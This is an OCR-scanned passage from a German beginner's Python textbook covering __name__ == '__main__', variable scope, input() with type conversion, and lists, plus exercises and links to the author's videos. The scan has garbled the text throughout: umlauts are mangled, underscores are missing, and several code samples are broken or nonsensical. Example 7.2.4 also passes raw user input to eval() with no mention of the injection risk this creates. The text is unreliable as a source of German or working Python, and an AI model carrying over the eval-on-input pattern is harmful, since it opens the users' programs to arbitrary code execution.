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Fihren wir das Programm hauptprogramm.py aus, dann erhalten wir
die folgende Ausgabe:

Hallo Fabian!

So weit, so gut. Angenommen, wir wollen die Funktionen in modul .py
auch testen und flihren zu diesem Zweck einen kleinen Testaufruf durch:

modul . py
1 def sag hallo (name) :
2 print(f"Hallo {name}!")

3
4 sag hallo ("Python")

Wenn wir jetzt erneut hauptprogramm.py starten, dann erhalten wir
plotzlich eine weitere Ausgabe, die aus dem Modul selbst stammt:

Hallo Python!
Hallo Fabian!

Die Ausgabe Hallo Python! wollen wir aber natirlich nicht mit drin

haben, da uns das Modul nur Funktionen zur Verfligung stellen und kein
Eigenleben entwickeln soll. Das Einlesen einer .py-Datei Uber die

import-Anweisung fiihrt aber immer dazu, dass sie auch ausgefihrt wird.

Es gibt in Python eine interne Variable mit dem Namen  name , in der
gespeichert wird, wie der Name des Moduls bzw. der Name der Datei
lautet, die gerade ausgefihrt wird. Dann Ubergeben wir in Zeile 4 von
modul.py und in Zeile 3 von hauptprogramm.py doch einfach mal

diese Variable:

modul . py
1 def sag hallo (name) :
2 print(f"Hallo {name}!")

3
4 sag hallo( name )



hauptprogramm. py
1 import modul

2

3 modul.sag hallo( name )

Wenn wir jetzt hauptprogramm.py starten, erhalten wir die folgende
Ausgabe:

Hallo modul!
Hallo main !

Offenbar wird zuerst modul.py einmal komplett ausgefiihrt, weil in
~_name__ der Name der .py-Datei gespeichert und dann Gber die
Funktion sag hallo ausgegeben wird. Danach wird das Hauptprogramm
aufgerufen, das wir gestartet haben. Wenn du eine Datei (wie hier
hauptprogramm. py) direkt ausfihrst, wird die Variable name  auf
den Wert main  gesetzt. Das kénnen wir ausnutzen, um Code nur
dann auszufiihren, wenn wir die Datei direkt aufrufen. Dazu Uberprifen
wir, ob die Variable = name  den Wert main  besitzt. Wenn das
der Fall ist, dann soll der entsprechende Code ausgefiihrt werden und
ansonsten nicht. Diese Wenn-Dann-Anweisung kdnnen wir in Python mit
einer sogenannten i f-Anweisung (Kapitel 9.2) umsetzen:

if name == " main ":

In den darauffolgenden Zeilen wird dann der auszufihrende Code
eingerickt notiert. Was missen wir in modul.py also andern, damit
unser Test beim Aufruf des Hauptprogramms hauptprogramm. py nicht
mehr ausgefihrt wird? Ganz einfach! Wir ersetzen Zeile 4 durch die if-
Anweisung und verschieben den Aufruf der Funktion sag hallo
eingerickt in Zeile 5:

modul . py
1 def sag hallo(name) :
2 print(f"Hallo {name}!"™)
3



4 if name == " main ":

5 sag hallo( name )

Wenn wir hauptprogramm. py nun erneut aufrufen, wird in modul . py
die Funktion sag hallo nicht mehr aufgerufen, weil wir diese Datei
nicht direkt aufrufen. Das beweist die folgende Ausgabe:

Hallo main !

Wenn du dir die Zusammenhange zwischen Modulen und dem
Hauptprogramm noch einmal in Videoform anschauen mochtest, dann
scanne den folgenden QR-Code:

https://florian-dalwigk.com/python-einsteiger/if _name__main__

6.6 Lokale und globale Variablen

Wir betrachten das folgende Python-Programm, in dem es eine Variable x
mit dem Wert 1337 und eine Funktion mit dem Namen manipulieren
gibt. Diese setzt den Wert einer Variable y auf 42.

1 x = 1337
2 def manipulieren() :

3 y =42
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Wir lassen uns jetzt einfach mal den Wert beider Variablen ausgeben:

4 print (x)
5 print(y)

Unser Vorhaben wird allerdings nicht von Erfolg gekront sein. Python straft
uns stattdessen mit einer sogenannten NameError Exception ab:

NameError: name 'y' is not defined

Woran liegt das? Nun, die beiden Variablen befinden sich auf
verschiedenen Ebenen. Die Variable x, die sich auRerhalb der Funktion
befindet, kann im gesamten Skript verwendet werden. Man spricht dann
von einer globalen Variable. Die Variable y ist hingegen eine lokale
Variable, weil sie nur lokal innerhalb der Funktion manipulieren
existiert. Wenn wir in Zeile 5 also versuchen, die Variable y auszugeben,
dann sucht Python sie im gesamten Programm, aber nicht im eingertckten
Bereich innerhalb der Funktion manipulieren. Den Bereich, in dem
eine Variable gliltig ist, nennt man Scope. Die Variable y befindet sich also
im Scope der Funktion manipulieren. x befindet sich hingegen im

globalen Scope und kann so von Uberall im Programm aus angesprochen
werden. Dann machen wir aus y doch einfach eine globale Variable, indem

wir sie aulRerhalb der Funktion direkt unter dem x in Zeile 1 platzieren:

1 x 1337
2 y =10

3 def manipulieren() :
4 vy = 42

Bevor wir jetzt die Ausgabe machen, rufen wir noch die Funktion
manipulieren auf, die y auf den Wert 42 setzen soll:

5 manipulieren ()

Direkt danach folgt die Ausgabe von x und v:



6 print (x)
7 print(y)

Jetzt passiert allerdings etwas ganz Skurriles, denn anstatt 1337 und 42
wird 1337 und 10 ausgegeben:

1337
10

Der Wert der Variable y wurde nicht verandert, obwohl wir doch in Zeile 5
die Funktion manipulieren aufgerufen haben. Woran liegt das? Ganz
einfach! Python sieht, dass sich eine Variable y im Scope der Funktion
manipulieren befindet und interpretiert sie als lokale Variable. Die
Funktion dandert somit nicht den Wert der globalen Variable y, sondern nur
den der lokalen Variable y, mit der nichts weiter passiert. Doch auch dafr

gibt es eine Losung! Wenn du eine globale Variable innerhalb einer
Funktion verwenden mochtest, dann musst du davor das Keyword
global schreiben. Damit signalisierst du Python, dass du die globale
Variable meinst, die sich auBerhalb der Funktion befindet:

1337
y = 10

b
Il

def manipulieren() :
global y
y = 42

u A W N

Wenn du jetzt erneut die Funktion manipulieren aufrufst und dir die

beiden globalen Variablen im Anschluss ausgeben lasst, dann siehst du,
dass der Wert der globalen Variable y auf 42 gesetzt wurde:

6 manipulieren ()
7 print (x)
8 print (y)

Die Ausgabe lautet:



1337
42

Achte beim Programmieren also darauf, in welchem Scope sich deine
Variablen befinden.

6.7 Ubungsaufgaben
@ Gegeben sei die folgende Funktion:

1 def sag hallo(vorname,nachname, strasse,hausnummer,plz,ort) :

2 # Hier fehlt noch etwas!

Diese Funktion ist leider noch nicht fertig. Diese wird in Zeile 3 mit den
folgenden Parametern aufgerufen:

3 sag hallo("Pia","Pan","In den Wolken",7,12345,"Traumstadt")

Erganze Code in Zeile 2, damit beim Aufruf des Programms die folgende
Ausgabe erscheint:

Pia Pan In den Wolken 7 12345 Traumstadt

@ Schreibe die Funktion sag hallo aus Aufgabe @ so um, dass die
finf Parameter in beliebiger Reihenfolge angegeben werden kdnnen. Nutze
daflr die **kwargs. Wenn beim Aufruf der Funktion sag hallo keine

Parameter angegeben werden, soll die folgende Ausgabe erscheinen:

Marla Musterfrau MusterstraBe 42 31337 Leethausen

@ Gegeben sei die folgende Funktion:

1 def potenzieren (basis) :
2 ergebnis = basis**2

3



Obwohl die Funktion potenzieren heildt, kann man mit ihr bisher nur

quadrieren (,,hoch zwei“) rechnen. Schreibe die Funktion so um, dass man
damit allgemein basis**°""* berechnen kann. Der Aufruf

4 ergebnis = potenzieren(2,5)

5 print (ergebnis)

soll bspw. die Zahl 32 ausgeben.

@ Programmiere Funktionen in Python, die die gleichen Werte wie die
folgenden mathematischen Funktionen liefern:

1.f(x)=3x-2
2.g(x)=x2+2x+1
3.h(x)=3-2%



@ Gegeben sei das folgende Modul:

fitness.py
# Gewicht in kg, groesse in m.
def bmi (gewicht,groesse) :

1
2
3 BMI = gewicht/groesse**2
4 return BMI

5

6 # Gewicht in kg, abnahme in kg
7 def abnehmen (gewicht, abnahme) :
8 return gewicht-abnahme

9
10 # Gewicht in kg, zunahme in kg

11 def zunehmen (gewicht, zunahme) :
12 return gewicht+zunahme

13
14 def sag hallo (name) :
15 print(f"Hallo {name}!")

1. Importiere dieses Modul in ein Programm gewicht.py.

2. Berechne den BMI fiir eine Person, die 82 kg wiegt und 1.87 m grol} ist. Weise das Ergebnis einer
Variable bmi zu und runde das Ergebnis auf zwei Nachkommastellen. Gib das Ergebnis
anschlieRend aus.

3. Berechne mithilfe der Funktion abnehmen, wie viel eine Person wiegt, deren Gewicht
urspringlich 77 kg war und die 10 kg abgenommen hat. Weise das Ergebnis einer Variable
gewicht zu und gib sie anschliefend aus.

4. Berechne mithilfe der Funktion zunehmen, wie viel eine Person wiegt, deren Gewicht
urspringlich 56 kg war und die 5 kg zugenommen hat. Weise das Ergebnis einer Variable
gewicht zu und gib sie anschliefend aus.

5. Definiere eine Variable name und weise ihr den Wert Timo zu. Nutze die Funktion sag_hallo
des importieren Moduls, um Timo zu griRen.



@ Welche der folgenden Funktionsdefinitionen sind moglich? Achte dabei
nur auf die Gbergebenen Parameter:

0 N O U RN W N R

def
def
def
def
def
def
def
def

it (a, lb,**e@,*d) 3

dividieren (x, x) :

sag _hallo("Tim", nachname) :

einkaufen (**produkte) :

f(x=3):

ueberweisen (sender, *empfaenger="Rintaro"):

email senden (sender, empfaenger="infolexample.com") :

f(x=1, y, z, *paramsl, **params2?):

In der folgenden Playlist findest du die Lésungen zu den Ubungsaufgaben
aus diesem Kapitel:

https://florian-dalwigk.com/python-einsteiger/I%C3%B6sungen_kapitel6


https://florian-dalwigk.com/python-einsteiger/l%C3%B6sungen_kapitel6

7 Interaktion mit dem Benutzer

In Kapitel 3.5 hast du den interaktiven Modus kennengelernt. Der Name
suggeriert zwar Interaktion, doch diese findet vor allem zwischen dir und
dem Python-Interpreter statt. Ein Benutzer bzw. Kunde, der spater dein
Programm verwenden mdchte, hat aber leider nichts davon, wenn du den
Quellcode interaktiv in der Eingabeaufforderung geschrieben hast. Deshalb
schauen wir uns in diesem Kapitel an, wie du deine Programme mit dem
Benutzer reden lassen kannst.

7.1 Die input-Funktion

Eine schone Eigenschaft von Computerprogrammen ist, dass sie auf die
Eingaben eines Benutzers reagieren konnen. Ware das nicht so, dann
wirden uns Computer viel weniger Aufgaben abnehmen kénnen, als sie es
heutzutage tun. Stelle dir mal eine Welt vor, in der es bei Messengern wie
WhatsApp keine Moglichkeit gabe, Nachrichten zu schreiben. Genau das ist
namlich eine solche Benutzerinteraktion. Die App ware unbenutzbar,
genauso wie es bei YouTube, Instagram, Twitter und diversen anderen
Social-Media-Plattformen der Fall ware. Ohne Benutzerinteraktion kdnntest
du keine Videos auf YouTube hochladen, keine Bilder auf Instagram posten
und dich nicht an Shitstorms auf Twitter beteiligen. Auch die
Programmierung eines einfachen Taschenrechners wadre ohne
Benutzereingaben nicht umsetzbar.

(

Bisher hast du in diesem Lehrbuch fast ausschlieilich solche , langweiligen®
Programme gesehen, in denen die Werte der Variablen zum Zeitpunkt des
Programmstarts bereits festgestanden haben. Das wird sich jetzt andern!
Die Schnittstelle, Gber die man in Python eine Eingabe vom Benutzer
abfragen kann, wird durch eine Funktion mit dem Namen input realisiert.

Die folgende Abbildung zeigt den grundlegenden Ablauf einer



Benutzerinteraktion:

Programm Florian | @

@name = input ("Name? ")

@ print (f"Hallo {name} !")+]

Benutzer

Abbildung 7.1.1: Ablauf einer Benutzerinteraktion

1. Das Programm lauft so lange, bis es zu der Befehlszeile kommt, in der die Funktion input
aufgerufen wird. Innerhalb der input-Funktion wird in runden Klammern mit
Anfuhrungszeichen®® ein Text notiert, der dem Benutzer angezeigt wird. Das kann z. B. eine Frage
nach dem Namen, dem Alter oder der Adresse sein. Beachte, dass der Benutzer direkt hinter dem
angezeigten Text weiterschreibt. Wenn du also mdchtest, dass zwischen dem Text und der Eingabe
noch etwas Platz ist, musst du noch ein Leerzeichen einfligen. In Abbildung_7.1.1 wird der
Benutzer nach seinem Namen gefragt. Das Ergebnis soll in einer Variable name gespeichert
werden.

2. Diese Frage beantwortet der Benutzer mit Florian. Seine Antwort wird als String in der
Variable name gespeichert.

3. Jetzt reagiert das Programm auf die Eingabe des Benutzers, indem es den Wert in der
personalisierten BegriiBungsnachricht verwendet. Die Ausgabe lautet dann Hallo Florian!

Einfach, oder? In dem folgenden Video siehst du, wie das bspw. in der CMD
aussieht, wenn der Benutzer vom Programm etwas gefragt wird und wie
man auf diese Fragen antworten kann:




https://florian-dalwigk.com/python-einsteiger/benutzereingaben

Beispiel 7.1: Die Anbieter eines Coding-Bootcamps bendtigen von ihren
Teilnehmern den Namen, das Geburtsdatum, die Telefonnummer und die
Adresse. Diese Informationen sollen mit einem Python-Programm
abgefragt werden. Fir den Namen wird eine Variable name definiert und

der Wert Gber die Funktion input bei dem Teilnehmer abgefragt:
1 name = input ("Wie heiBt du?")

Fir das Geburtsdatum wird eine Variable geburtsdatum definiert und
der Wert Uber die Funktion input bei dem Teilnehmer abgefragt:

2 geburtsdatum = input ("Wann wurdest du geboren?")

Fir die Telefonnummer wird eine Variable telefonnummer definiert
und der Wert Giber die Funktion input bei dem Teilnehmer abgefragt:

3 telefonnummer = input ("Wie lautet deinen Telefonnummer?")

Fir die Adresse wird eine Variable adresse definiert und der Wert tber
die Funktion input bei dem Teilnehmer abgefragt:

4 adresse = input ("Wo wohnst du?")

Jetzt werden alle eingegebenen Informationen noch einmal Ubersichtlich
ausgegeben:
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5 print (f"Name: {name}")
6 print (f"Gebutsdatum: {geburtsdatum}")

7 print (f"Adresse: {adresse}l")

Zum Schluss wird noch gefragt, ob alle Informationen korrekt sind. Der
Teilnehmer kann dann mit J (Ja) oder N (Nein) antworten.

8 korrekt = input("Sind alle Eingaben korrekt?")

Aktuell ist es aber egal, welche Antwort der Teilnehmer gibt, da sie noch
nicht Gberprift werden kann. Dazu fehlt noch ein wichtiges Werkzeug,
namlich die 1 £-Anweisung. Was das ist und wie man sie verwendet, lernst

du in Kapitel 9.2.

Mithilfe der input-Funktion ist es moglich, den Programmablauf zu
stoppen und auf den Benutzer zu warten. Das liegt in der Natur von
Benutzereingaben, denn irgendwie muss ja gewahrleistet werden, dass das
Programm nicht einfach weiterlauft, obwohl es auf eine wichtige
Entscheidung vom Benutzer angewiesen ist. Es gibt aber auch Falle, in
denen ein Programm vollig ochne Werte von aulen auskommt, was vor
diesem Kapitel ja der Standard war. Kann es trotzdem sinnvoll sein, in
solchen Fillen die input-Funktion in seinem Programm aufzurufen? Ja!
Wenn du ein Python-Programm namlich nicht mit dem Befehl

python dein programm.py

Uber die Eingabeaufforderung aufrufst, sondern einen Doppelklick auf die
.py-Datei ausfiihrst, dann schlieBt sich das Programm quasi sofort wieder,

was du in dem folgenden Video sehen kannst:
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Das liegt daran, dass der Python-Interpreter einfach nacheinander alle
Befehle abklappert, bis er am Ende des Programms angekommen ist. Wenn
das Programm nicht explizit durch einen Befehl pausiert wird, sieht der
Python-Interpreter keine Notwendigkeit darin, von sich aus eine Pause
einzulegen. Und genau hier kommt die i nput-Funktion ins Spiel. Mit dem
folgenden Aufruf kannst du ein Programm so lange pausieren, bis der
Benutzer die ENTER-Taste druckt:

input ()

Ja, die input-Funktion gibt es auch ohne einen Parameter. Das ist aber
natlirlich alles andere als schon, weshalb du noch einen kleinen
Hinweistext mitgeben solltest:

input ("Driicke ENTER, um das Programm zu beenden...")

Wenn du jetzt ein Python-Programm direkt per Doppelklick auf die .py-
Datei aufrufst, dann wird auf das Driicken der ENTER-Taste gewartet.
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7.2 Vorsicht bei den Datentypen!

In Kapitel 7.1 hast du bislang nur Beispiele gesehen, in denen mit
Zeichenketten gearbeitet wurde. Was ist aber, wenn du bspw.
Berechnungen mit den Eingaben durchfiihren willst? Obwohl du in Beispiel
7.1.1 Zahlen eingegeben hast, wurden sie in Python als Strings
gespeichert. Wie du aber bereits weildt, kann man diese nicht addieren,
sondern nur konkatenieren, also hintereinanderschreiben. Da Python nicht
wissen kann, welchen Typ die vom Benutzer eingegebenen Daten haben
sollen, wird standardmaBig String verwendet. Um den Rest muss sich
dann der Programmierer kimmern. Um Strings in Integer
umzuwandeln, gibt es die bereits aus Kapitel 4.3 bekannte Funktion int.

Beispiel 7.2.1: Vom Benutzer sollen zwei Zahlen a und b abgefragt werden.

Es soll die Summe dieser beiden Zahlen berechnet und ausgegeben
werden. Dazu werden die Zahlen zuerst eingelesen, allerdings wird das
Ergebnis der input-Funktion mithilfe der int-Funktion in einen

Integer umgewandelt:

a = int (input("a = "))

2 b = int (input("b = "))

Die Eingaben vom Benutzer liegen jetzt als Zahlen vor und kénnen nun
addiert werden:
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3 c=a+b

Zum Schluss wird das Ergebnis ausgegeben:

4 print (f"Die Summe der beiden Zahlen {a} und {b} ist {c}.")

In dem folgenden Video kannst du das Programm in Aktion sehen:

https://florian-dalwigk.com/python-einsteiger/rechnen_mit_python

Probiere es gerne selbst einmal aus!

Beispiel 7.2.2: Neben der Addition lassen sich auch die Subtraktion, die
Multiplikation, die Division und viele weitere Rechenoperationen
umsetzen. Wenn du bspw. eine eingegebene Zahl verdoppeln mochtest,
dann musst du sie zuerst mithilfe der Funktion int in einen Integer

umwandeln und dann mit 2 multiplizieren:

1 zahl = int (input ("Welche Zahl willst du verdoppeln? "))
2 verdoppelt = zahl * 2
3 print (f"Das Ergebnis lautet {verdoppelt}")

Beispiel 7.2.3: Benutzereingaben konnen neben Ganzzahlen aber auch
FlieBRkommazahlen enthalten. Kann man diese auch einlesen? Naturlich!
Dafur verwendest du anstelle der int- einfach die float-Funktion.
Angenommen, du mochtest berechnen, wie viel Geld du noch in deinem
Sparschwein mit aktuell 13.37€ hast, wenn du dir davon einen Doner fir
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5€ kaufst. Dafur steht dir ein Programm zur Verfliigung, das mit
FlieBRkommazahlen rechnen kann. Dieses ist wie folgt aufgebaut:

1 geld = float (input ("Geld im Sparschwein "))
2 rest = geld - 5

3 print (£"Du hast noch {rest}€ im Sparschwein."))

In Zeile 1 wirst du nach der Geldmenge in deinem Sparschwein gefragt, die
du auf den Cent genau angeben kannst, da dieser in einen float

umgewandelt wird. Beachte aber, dass Kommazahlen in Python nicht
wirklich mit einem Komma, sondern mit einem Punkt notiert werden, also
3.14 statt 3, 14. Andernfalls erhaltst du eine ValueError Exception:

ValueError: could not convert string to float: '3,14'

Von dem eingegebenen Wert werden dann in Zeile 2 die 5€ fiir den Doner
abgezogen und das Ergebnis wird in Zeile 3 ausgegeben.

Wenn du keine Lust darauf hast, dich um die ganzen Umwandlungen und
Sonderfdlle zu kiimmern, dann lass Python doch die Arbeit fir dich
Ubernehmen. Mit der Funktion eval hast du bereits eine Moglichkeit

kennengelernt, mit der du Code, der als String vorliegt, ausfliihren
kannst.

Beispiel 7.2.4: Wir wollen einen kleinen Taschenrechner programmieren.
Der Benutzer soll eine Rechnung eingeben und danach das Ergebnis
angezeigt bekommen. Dazu rufen wir zuerst die Funktion input auf und

fordern den Benutzer auf, die gewlinschte Rechnung einzugeben:

1 rechnung = input ("Was moéchtest du berechnen? ")

Hier muss keine Umwandlung in einen Integer oder Float stattfinden,
da eval die als String vorliegende Rechnung durchfiihren kann:

2 ergebnis = eval (rechnung)

Das Ergebnis kannst du dem Benutzer nun anzeigen:



3 print (f"Das Ergebnis von {rechnung} lautet: {ergebnis}")

7.3 Ubungsaufgaben

@ Schreibe ein Programm, das vom Benutzer zwei ganze Zahlen a und b
entgegennimmt. AnschlieBend sollen die Ergebnisse der Rechnungen a+b,
a-b, a*b und a/b ausgegeben werden. Damit man noch weil}, was genau
berechnet wurde, sollen die Werte der Variablen a und b mit ausgegeben
werden. Fiir a=10 und b=2 soll dann folgende Ausgabe kommen:

10+2=12
10-2=8
10*2=20
10/2=5

@ Der Body-Mass-Index (BMI) wird durch eine einfache Formel
berechnet:

_ Korpergewicht (kg)

BMI
GrofRe? (m?)

Schreibe ein Python-Programm, das zuerst das Korpergewicht (in kg) und
dann die KorpergrofRe (in m) abfragt. Aus diesen beiden Werten soll der
BMI berechnet und ausgegeben werden.

@ Gegeben ist der folgende Einleitungstext eines kleinen Videospiels:

Hallo SPIELER! Bist du bereit fir ein Abenteuer?

Moment mal .. SPIELER?

Dieser Name kommt mir bekannt vor.

Ich habe in den alten Schriften schon oft den Namen SPIELER
gelesen.

Stammst du méglicherweise von dem groBen Lucius ab?

Schreibe ein Python-Programm, das diesen Einleitungstext fir ein



Videospiel ausgibt. Uberall dort, wo aktuell noch SPIELER steht, soll ein
vom Benutzer selbst gewahlter Name eingefiigt werden. Diesen Namen
kannst du mithilfe der Funktion input abfragen.

@ Schreibe ein Python-Programm, das den Benutzer dazu auffordert, die
Kreiszahl 1, so weit wie er sie kann, einzugeben. Dein Programm soll dann
die Anzahl der Nachkommastellen ausgeben.

@ Schreibe ein Python-Programm, das BTC (Bitcoin) in € (Euro)
umrechnen kann. Da es taglich zu Kursschwankungen kommt, muss der
Benutzer nicht nur die BTC, die er umrechnen mochte, sondern auch den
Umrechnungsfaktor mit angeben, also wie viele € ein BTC sind. Den
Umrechnungsfaktor bekommst du heraus, indem du bei Google ,bitcoin in
euro factor” eingibst.

@ Der Satz des Pythagoras lautet: ,Die Summe der Quadrate der
Ankathete und der Gegenkathete ergibt das Quadrat der Hypotenuse.” Du
kennst ihn vermutlich in der folgenden Formelschreibweise:

a’ + b? = ¢?
Schreibe ein Python-Programm, das vom Benutzer die Lange der Ankathete

und der Gegenkathete (in cm) wie folgt abfragt:

Lange der Ankathete:

Lange der Gegenkathete:

Das Programm soll die Liange der Hypotenuse c berechnen und das
Ergebnis dann wie folgt ausgeben:

Die Hypotenuse ist X cm lang.

In der folgenden Playlist findest du die Lésungen zu den Ubungsaufgaben
aus diesem Kapitel:



https://florian-dalwigk.com/python-einsteiger/|%C3%B6sungen_kapitel7


https://florian-dalwigk.com/python-einsteiger/l%C3%B6sungen_kapitel7

8 Datenstrukturen

Um Daten innerhalb eines Programms effizient organisieren zu koénnen,
wurden sogenannte Datenstrukturen entworfen. In diesem Kapitel wirst du
vier von ihnen kennenlernen, namlich Listen (Kapitel 8.1), Tupel
(Kapitel 8.2), Sets (Kapitel 8.3) und Dictionaries (Kapitel 8.4). Jede
dieser Datenstrukturen wurde fiir einen bestimmten Einsatzzweck
konzipiert. In Kapitel 8.5 kannst du anhand der Ubungsaufgaben
Uberprifen, ob du alles so weit verstanden hast.

8.11Listen

Beginnen wir unsere Reise durch die Datenstrukturen direkt mit dem wohl
wichtigsten Vertreter, um den du in Python nicht herumkommst: Listen.
Diese Datenstruktur ist sehr intuitiv zuganglich, da wir im Alltag Giberall mit
ihr konfrontiert werden. Um nur einige Beispiele zu nennen:

L] Beim Einkaufen vertrauen viele auf eine Einkaufsliste.

[ Auf dem Smartphone werden die Kontakte in einer Kontaktliste gespeichert.

[J Aufgaben, die noch zu erledigen sind, schreibt man in eine To-do-Liste.

[ Auf Netflix kann man sich eine Liste anlegen, in der Serien und Filme gespeichert werden, die man
sich zu einem spéateren Zeitpunkt anschauen mochte. Netflix nennt das ,,Meine Liste”.

Was haben all diese Listen gemeinsam? Richtig! In ihnen werden Daten
in einer bestimmten Reihenfolge gespeichert. Im Gegensatz zu
sogenannten Arrays, die eine von Beginn an festgelegte und
unveranderliche Grél3e besitzen, sind L.isten dynamisch aufgebaut. Die
in einer Liste gespeicherten Daten missen auch nicht alle denselben
Datentyp besitzen, wie es bei Arrays der Fall ist.

Wie wird eine Liste definiert? Darliber gibt uns die folgende Code-
Schablone Auskunft:



[<Element 1>, <Element 2>, ..., <Element n>]

Code-Schablone 8.1.1: Definition von Listen

Eine Liste wird durch eckige Klammern gekennzeichnet, in die
<Elemente> mit Kommata getrennt eingetragen werden kdonnen.

Beispiel 8.1.1: Die Namen Kevin, Lukas, Jakob, Asuna und Mia
sollen in eine Liste eingetragen werden. Dazu werden zuerst eckige
Klammern notiert und dort dann nacheinander alle Namen als Strings

mit Kommata getrennt eingetragen. Hinter dem letzten Eintrag folgt kein
Komma:

["Kevin", "Lukas", "Jakob", "Asuna", "Mia"]

Die Liste kann auch in einer Variable gespeichert werden:

1 liste = ["Kevin", "Lukas", "Jakob", "Asuna", "Mia"]

Dass auch Python hier eine Liste erkennt, kannst du durch einen Aufruf
der Funktion t ype feststellen:

2 type(["Kevin", "Lukas", "Jakob", "Asuna", "Mia"])

Wenn du dir das Ergebnis des Funktionsaufrufs ausgeben lasst, dann steht
dort:

<class 'list'>

Eine Liste muss nicht zwangslaufig <Elemente> enthalten. In diesem
Fall spricht man von der leeren Liste []. Was hat die fir einen Sinn?
Wenn du bspw. eine Funktion schreiben mochtest, die eine gewlinschte
Anzahl an Passwortern erzeugt und zurlickgibt, dann kannst du zu Beginn
eine leere Liste definieren, in der dann im weiteren Funktionsverlauf die

erzeugten Passworter gespeichert werden:

passworter = []



Man kann auch Variablen in einer Li ste speichern.
Beispiel 8.1.2: Gegeben seien die beiden folgenden Variablen:

1 nachricht = "Ich mag Python!"
2 erfolg = True

Diese Variablen kdnnen nun in eine Liste eingetragen werden:

3 [nachricht, erfolg]

Dass die beiden Variablen unterschiedliche Datentypen haben, spielt dabei
keine Rolle. Zusatzlich dazu kénnen noch weitere Werte eingetragen
werden:

4 [nachricht, erfolg, 12, "Florian", 0.5]

Wenn du wissen mochtest, wie viele Elemente in einer Liste enthalten
sind, dann kannst du die Funktion 1en verwenden. Diese haben wir in
Kapitel 4.4 zur Bestimmung der Lange eines Strings genutzt. Die
Liste wird auch hier einfach in die runden Klammern direkt hinter dem
Funktionsnamen geschrieben.

Beispiel 8.1.3: Gesucht ist die Anzahl der Elemente in der folgenden
Liste:

["Kevin", "Lukas", "Jakob", "Asuna", "Mia"]

Dazu rufen wir die Funktion len auf und Ubergeben ihr in runden
Klammern die Liste:

print (len(["Kevin", "Lukas", "Jakob", "Asuna", "Mia"]))
# Die Ausgabe ist 5, weil die Liste 5 Elemente enthalt.

Das Ergebnis kannst du auch einer Variable zuweisen und es so speichern:

anzahl = len(["Kevin", "Lukas", "Jakob", "Asuna", "Mia"])



Bei der leeren Liste [] liefert der Aufruf von 1len korrekterweise den
Wert 0 zuruck:

print (len([]1))
# Die Ausgabe ist 0, weil die leere Liste keine Elemente enthalt.

Beispiel 8.1.4: Gesucht ist die Anzahl der Elemente in der folgenden
Liste:

["Python", 20, True, 3.14]

Die Elemente in der Liste haben allesamt unterschiedliche Datentypen.
Trotzdem kann darauf die Funktion 1en angewendet werden, weil die
Elemente in einer Liste zusammengefasst wurden:

len(["Python", 20, True, 3.14])
# Das Ergebnis ist 4, weil die Liste 4 Elemente enthalt.

Die Funktion 1en kann auch fir Listen verwendet werden, die in einer
Variable gespeichert wurden.

Beispiel 8.1.5: Gegeben sei die folgende Liste, die in einer Variable mit
dem Namen freunde gespeichert wurde:

1 freunde = ["Kevin", "Lukas", "Jakob", "Asuna", "Mia"]

Um die Anzahl der Elemente in der Liste zu bestimmen, lUbergeben wir
der Funktion 1en die Variable freunde:

2 len (freunde)
# Das Ergebnis ist 5, weil die in der Variable "freunde"
gespeicherte Liste 5 Elemente hat.

Wie schon bei den Strings befindet sich das erste Element an der
Position bzw. dem Index 0. Um ein Element aus einer Liste auszulesen,
schreibst du einfach seine Position in die eckigen Klammern.

Beispiel 8.1.6: Gegeben sei die folgende Liste:



"Python" 20 True 3.14
0 1 2 3

Abbildung 8.1.1: Positionen in der Liste ["Python", 20, True, 3.14]

Wenn du die 20 auslesen mochtest, dann notierst du zuerst den Namen
der Liste (werte) und direkt dahinter in eckigen Klammern die Position

(1):

["Python", 20, True,3.14][1]

Das Ergebnis kannst du in einer Variable speichern und es anschlieRend
ausgeben:

1 zahl = ["Python",20,True,3.14][1]

2 print (zahl)
# Ausgabe: 20

Du kannst die eckigen Klammern auch auf Variablen anwenden:
3 werte = ["Python",20,True,3.14][1]

4 print (wertell])
# Ausgabe: 20

Wenn du ein anderes Element wie bspw. den Wahrheitswert True
auslesen mochtest, dann verwendest du eben den Index 2:

5 wahrheitswert = werte[2]

Man kann auch Variablen in eine Liste eintragen.

Beispiel 8.1.7:

1 name = "Matsumoto"

2 alter = 22

Diese Variablen konnen, allein oder zusammen mit anderen Elementen, in



einer Liste gespeichert werden:

3 daten = [name,alter,1.72]

Achte darauf, dass du nur Positionen adressierst, die auch wirklich in der
Liste enthalten sind. Ansonsten kommt es zu einem Fehler.

Beispiel 8.1.8: Wir betrachten wieder die Liste aus Beispiel 8.1.6. Um
einzelne Elemente auszulesen, musst du in die eckigen Klammern eine der
Zahlen 0 bis 3 schreiben, da alles Gber dem Index 3 auBerhalb der Liste
liegt. Der Zugriff

["Python", 20, True,3.14] [4]
flhrt zu einer sogenannten IndexError Exception:

IndexError: list index out of range

Als Indizes kdnnen auch negative Zahlen verwenden werden. Wie schon
bei den Strings wird ganz hinten bei der hochsten Position angefangen
und nach vorne durchgezahlt.

Beispiel 8.1.9: Gegeben sei die folgende Liste:

[ 42 True | False | "Mia" 2.7 True ]

Abbildung 8.1.2: Indizes der Elemente inder Liste [42, True, False, "Mia", 2.7, True]

Erlaubt sind nicht nur die Indizes 0 bis 5 zur Adressierung der Elemente,
sondern auch 0 bis -=5. Die folgende Abbildung zeigt, wie die Indizes in
diesem Fall zu lesen sind:




[ 42 True | False | "Mia" 2.7 True ]

Abbildung 8.1.3: Negative Indizes der Elemente in der Liste
[42,True, False, "Mia", 2.7, True]

Wenn du also das Element 2. 7 auslesen mdchtest, dann geht das auf zwei
verschiedene Arten:

1 [42,True,False,"Mia",2.7,True] [4]

2 [42,True,False,"Mia",2.7,True] [-2]

Neben einzelnen Elementen ist es auch maoglich, zusammenhangende Teile
einer Liste mithilfe der eckigen Klammern auszuschneiden. Das nennt

man auch Slicing. Dazu gibst du zwei Indizes an, namlich einen, bei dem die
Liste startet (Startindex) und einen, vor dem er enden soll (Endindex).

Das Element am Endindex wird nicht mitbericksichtigt. Die beiden Indizes
werden innerhalb der eckigen Klammern mit einem Doppelpunkt getrennt:

[start:ende]

Beispiel 8.1.10: Gegeben sei die folgende Liste:

True | 42 "Jg" "N 3.0
0 1 2 3 4

Abbildung 8.1.4: Positionen in der Liste [True, 42,"J","N", 3.0]

Wir wollen die beiden Strings J und N aus der Liste auslesen. Der
Startindex ist die 2. Der Endindex ist die 4 und nicht die 3, weil das Zeichen
am Endindex nicht mitzahlt:

[True, 42,"J","N",3.0][2:4]



Das Ergebnis ist eine Liste und, die du in einer Variable speichern und
ausgeben kannst:

